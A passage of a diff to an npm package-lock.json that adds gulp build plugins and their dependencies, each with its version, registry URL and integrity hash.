"string-width": "^1.0.1", + "strip-ansi": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-cli/node_modules/y18n": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz", + "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==", + "dev": true + }, + "node_modules/gulp-cli/node_modules/yargs": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.2.tgz", + "integrity": "sha512-ZEjj/dQYQy0Zx0lgLMLR8QuaqTihnxirir7EwUHp1Axq4e3+k8jXU5K0VLbNvedv1f4EWtBonDIZm0NUr+jCcA==", + "dev": true, + "dependencies": { + "camelcase": "^3.0.0", + "cliui": "^3.2.0", + "decamelize": "^1.1.1", + "get-caller-file": "^1.0.1", + "os-locale": "^1.4.0", + "read-pkg-up": "^1.0.1", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^1.0.2", + "which-module": "^1.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^5.0.1" + } + }, + "node_modules/gulp-cli/node_modules/yargs-parser": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.1.tgz", + "integrity": "sha512-wpav5XYiddjXxirPoCTUPbqM0PXvJ9hiBMvuJgInvo4/lAOTZzUprArw17q2O1P2+GHhbBr18/iQwjL5Z9BqfA==", + "dev": true, + "dependencies": { + "camelcase": "^3.0.0", + "object.assign": "^4.1.0" + } + }, + "node_modules/gulp-concat": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/gulp-concat/-/gulp-concat-2.6.1.tgz", + "integrity": "sha512-a2scActrQrDBpBbR3WUZGyGS1JEPLg5PZJdIa7/Bi3GuKAmPYDK6SFhy/NZq5R8KsKKFvtfR0fakbUCcKGCCjg==", + "dev": true, + "dependencies": { + "concat-with-sourcemaps": "^1.0.0", + "through2": "^2.0.0", + "vinyl": "^2.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/gulp-concat/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/gulp-htmlmin": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/gulp-htmlmin/-/gulp-htmlmin-5.0.1.tgz", + "integrity": "sha512-ASlyDPZOSKjHYUifYV0rf9JPDflN9IRIb8lw2vRqtYMC4ljU3zAmnnaVXwFQ3H+CfXxZSUesZ2x7jrnPJu93jA==", + "dev": true, + "dependencies": { + "html-minifier": "^3.5.20", + "plugin-error": "^1.0.1", + "through2": "^2.0.3" + }, + "engines": { + "node": ">= 6.0" + } + }, + "node_modules/gulp-htmlmin/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/gulp-jsonminify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/gulp-jsonminify/-/gulp-jsonminify-1.1.0.tgz", + "integrity": "sha512-nkqH5aRajfCGD8HB2yN+QSEQG0SMEpS7UyOp3HS966Og4DqUX0y8sPF5SU8uSsGLLLXbnHwyHbDkxauYO/pSpQ==", + "dev": true, + "dependencies": { + "jsonminify": "~0.2.3", + "plugin-error": "^0.1.2", + "through2": "~0.6.5" + } + }, + "node_modules/gulp-jsonminify/node_modules/arr-diff": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-1.1.0.tgz", + "integrity": "sha512-OQwDZUqYaQwyyhDJHThmzId8daf4/RFNLaeh3AevmSeZ5Y7ug4Ga/yKc6l6kTZOBW781rCj103ZuTh8GAsB3+Q==", + "dev": true, + "dependencies": { + "arr-flatten": "^1.0.1", + "array-slice": "^0.2.3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-jsonminify/node_modules/arr-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-2.1.0.tgz", + "integrity": "sha512-t5db90jq+qdgk8aFnxEkjqta0B/GHrM1pxzuuZz2zWsOXc5nKu3t+76s/PQBA8FTcM/ipspIH9jWG4OxCBc2eA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-jsonminify/node_modules/array-slice": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-0.2.3.tgz", + "integrity": "sha512-rlVfZW/1Ph2SNySXwR9QYkChp8EkOEiTMO5Vwx60usw04i4nWemkm9RXmQqgkQFaLHsqLuADvjp6IfgL9l2M8Q==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-jsonminify/node_modules/extend-shallow": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-1.1.4.tgz", + "integrity": "sha512-L7AGmkO6jhDkEBBGWlLtftA80Xq8DipnrRPr0pyi7GQLXkaq9JYA4xF4z6qnadIC6euiTDKco0cGSU9muw+WTw==", + "dev": true, + "dependencies": { + "kind-of": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-jsonminify/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true + }, + "node_modules/gulp-jsonminify/node_modules/kind-of": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-1.1.0.tgz", + "integrity": "sha512-aUH6ElPnMGon2/YkxRIigV32MOpTVcoXQ1Oo8aYn40s+sJ3j+0gFZsT8HKDcxNy7Fi9zuquWtGaGAahOdv5p/g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-jsonminify/node_modules/plugin-error": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/plugin-error/-/plugin-error-0.1.2.tgz", + "integrity": "sha512-WzZHcm4+GO34sjFMxQMqZbsz3xiNEgonCskQ9v+IroMmYgk/tas8dG+Hr2D6IbRPybZ12oWpzE/w3cGJ6FJzOw==", + "dev": true, + "dependencies": { + "ansi-cyan": "^0.1.1", + "ansi-red": "^0.1.1", + "arr-diff": "^1.0.1", + "arr-union": "^2.0.1", + "extend-shallow": "^1.1.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/gulp-jsonminify/node_modules/readable-stream": { + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha512-ok1qVCJuRkNmvebYikljxJA/UEsKwLl2nI1OmaqAu4/UE+h0wKCHok4XkL/gvi39OacXvw59RJUOFUkDib2rHg==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/gulp-jsonminify/node_modules/string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==", + "dev": true + }, + "node_modules/gulp-jsonminify/node_modules/through2": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-0.6.5.tgz", + "integrity": "sha512-RkK/CCESdTKQZHdmKICijdKKsCRVHs5KsLZ6pACAmF/1GPUQhonHSXWNERctxEp7RmvjdNbZTL5z9V7nSCXKcg==", + "dev": true, + "dependencies": { + "readable-stream": ">=1.0.33-1 <1.1.0-0", + "xtend": ">=4.0.0 <4.1.0-0" + } + }, + "node_modules/gulp-load-plugins": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/gulp-load-plugins/-/gulp-load-plugins-2.0.7.tgz", + "integrity": "sha512-/3nl/p7s9O03Yv6SSEqN2dXEbDE0+JpsKfJl6h/GgCLqqnkZT0bF+JWcz87HzcTBeh/MVzMosAJx4kLDTWrTNQ==", + "dev": true, + "dependencies": { + "array-unique": "^0.3.2", + "fancy-log": "^1.2.0", + "findup-sync": "^4.0.0", + "gulplog": "^1.0.0", + "has-gulplog": "^0.1.0", + "micromatch": "^4.0.2", + "resolve": "^1.17.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/gulp-merge-json": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/gulp-merge-json/-/gulp-merge-json-2.1.1.tgz", + "integrity": "sha512-VhvAlcf+dcCb94j/2yDPWxJ3X7x4P/Xwcrv1dhjYuRgvADwFJmaQwl4zbuq+GDZvzMacbVncWtEdsETpUSkhYw==", + "dev": true, + "dependencies": { + "json5": "^2.1.3", + "lodash.mergewith": "^4.6.1", + "plugin-error": "^1.0.1", + "through": "^2.3.8", + "vinyl": "^2.1.0" + } + }, + "node_modules/gulp-rename": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/gulp-rename/-/gulp-rename-2.0.0.tgz", + "integrity": "sha512-97Vba4KBzbYmR5VBs9mWmK+HwIf5mj+/zioxfZhOKeXtx5ZjBk57KFlePf5nxq9QsTtFl0ejnHE3zTC9MHXqyQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/gulp-sass": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/gulp-sass/-/gulp-sass-5.0.0.tgz", + "integrity": "sha512-J0aH0/2N4+2szGCeut0ktGHK0Wg8L9uWivuigrl7xv+nhxozBQRAKLrhnDDaTa3FeUWYtgT8w4RlgdhRy5v16w==", + "dev": true, + "dependencies": { + "chalk": "^4.1.1", + "lodash": "^4.17.20", + "plugin-error": "^1.0.1", + "replace-ext": "^2.0.0", + "strip-ansi": "^6.0.0", + "transfob": "^1.0.0", + "vinyl-sourcemaps-apply": "^0.2.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/gulp-zip": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/gulp-zip/-/gulp-zip-5.1.0.tgz", + "integrity": "sha512-XZr/y91IliK/SpR74g3TkZejGkGEmK7CSDjSghT1jXshgO+dFvpLIz9w9fpuwkew6i7k4F+G24TubNgq1ISzEw==", + "dev": true, + "dependencies": { + "get-stream": "^5.2.0", + "plugin-error": "^1.0.1", + "through2": "^3.0.1", + "vinyl": "^2.1.0", + "yazl": "^2.5.1" + }, + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "gulp": ">=4" + }, + "peerDependenciesMeta": { + "gulp": { + "optional": true + } + } + }, + "node_modules/gulplog": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/gulplog/-/gulplog-1.0.0.tgz", + "integrity": "sha512-hm6N8nrm3Y08jXie48jsC55eCZz9mnb4OirAStEk2deqeyhXU3C1otDVh+ccttMuc1sBi6RX6ZJ720hs9RCvgw==", + "dev": true, + "dependencies": { + "glogg": "^1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/has-gulplog": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/has-gulplog/-/has-gulplog-0.1.0.tgz", + "integrity": "sha512-+F4GzLjwHNNDEAJW2DC1xXfEoPkRDmUdJ7CBYw4MpqtDwOnqdImJl7GWlpqx+Wko6//J8uKTnIe4wZSv7yCqmw==", + "dev": true, + "dependencies": { + "sparkles": "^1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dev": true, + "dependencies": { + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha512-IBXk4GTsLYdQ7Rvt+GRBrFSVEkmuOUy4re0Xjd9kJSUQpnTrWR4/y9RpfexN9vkAPMFuQoeWKwqzPozRTlasGw==", + "dev": true, + "dependencies": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha512-ODYZC64uqzmtfGMEAX/FvZiRyWLpAC3vYnNunURUnkGVTS+mI0smVsWaPydRBsE3g+ok7h960jChO8mFcWlHaQ==", + "dev": true, + "dependencies": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha512-24XsCxmEbRwEDbz/qz3stgin8TTzZ1ESR56OMCN0ujYg+vRutNSiOj9bHH9u85DKgXguraugV5sFuvbD4FW/hw==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/hasha": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/hasha/-/hasha-5.2.2.tgz", + "integrity": "sha512-Hrp5vIK/xr5SkeN2onO32H0MgNZ0f17HRNH39WfL0SYUNOTZ5Lz1TJ8Pajo/87dYGEFlLMm7mIc/k/s6Bvz9HQ==", + "dev": true, + "dependencies": { + "is-stream": "^2.0.0", + "type-fest": "^0.8.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/homedir-polyfill": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz", + "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==", + "dev": true, + "dependencies": { + "parse-passwd": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true + }, + "node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dev": true, + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/html-escaper": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", + "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", + "dev": true + }, + "node_modules/html-minifier": { + "version": "3.5.21", + "resolved": "https://registry.npmjs.org/html-minifier/-/html-minifier-3.5.21.tgz", + "integrity": "sha512-LKUKwuJDhxNa3uf/LPR/KVjm/l3rBqtYeCOAekvG8F1vItxMUpueGd94i/asDDr8/1u7InxzFA5EeGjhhG5mMA==", + "dev": true, + "dependencies": { + "camel-case": "3.0.x", + "clean-css": "4.2.x", + "commander": "2.17.x", + "he": "1.2.x", + "param-case": "2.1.x", + "relateurl": "0.2.x", + "uglify-js": "3.4.x" + }, + "bin": { + "html-minifier": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/html-minifier/node_modules/commander": { + "version": "2.17.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.17.1.tgz", + "integrity": "sha512-wPMUt6FnH2yzG95SA6mzjQOEKUU3aLaDEmzs1ti+1E9h+CsrZghRlqEM/EJ4KscsQVG8uNN4uVreUeT8+drlgg==", + "dev": true + }, + "node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ignore": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", + "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dev": true, + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "dev": true + }, + "node_modules/interpret": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/interpret/-/interpret-1.4.0.tgz", + "integrity": "sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/invert-kv": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", + "integrity": "sha512-xgs2NH9AE66ucSq4cNG1nhSFghr5l6tdL15Pk+jl46bmmBapgoaY/AacXyaDznAqmGL99TiLSQgO/XazFSKYeQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ip-range-check": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/ip-range-check/-/ip-range-check-0.2.0.tgz", + "integrity": "sha512-oaM3l/3gHbLlt/tCWLvt0mj1qUaI+STuRFnUvARGCujK9vvU61+2JsDpmkMzR4VsJhuFXWWgeKKVnwwoFfzCqw==", + "dependencies": { + "ipaddr.js": "^1.0.1" + } + }, + "node_modules/ip-range-check/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/ipaddr.js": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-2.1.0.tgz", + "integrity": "sha512-LlbxQ7xKzfBusov6UMi4MFpEg0m+mAm9xyNGEduwXMEDuf4WfzB/RZwMVYEd7IKGvh4IUkEXYxtAVu9T3OelJQ==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/is-absolute": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-absolute/-/is-absolute-1.0.0.tgz", + "integrity": "sha512-dOWoqflvcydARa360Gvv18DZ/gRuHKi2NU/wU5X1ZFzdYfH29nkiNZsF3mp4OJ3H4yo9Mx8A/uAGNzpzPN3yBA==", + "dev": true, + "dependencies": { + "is-relative": "^1.0.0", + "is-windows": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true + }, + "node_modules/is-binary-path": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", + "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==", + "dev": true, + "dependencies": { + "binary-extensions": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", + "dev": true + }, + "node_modules/is-core-module": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.12.1.tgz", + "integrity": "sha512-Q4ZuBAe2FUsKtyQJoQHlvP8OvBERxO3jEmy1I7hcRXcJBGGHFh/aJBswbXuS9sgrDH2QUO8ilkwNPHvHMd8clg==", + "dev": true, + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "dev": true, + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + 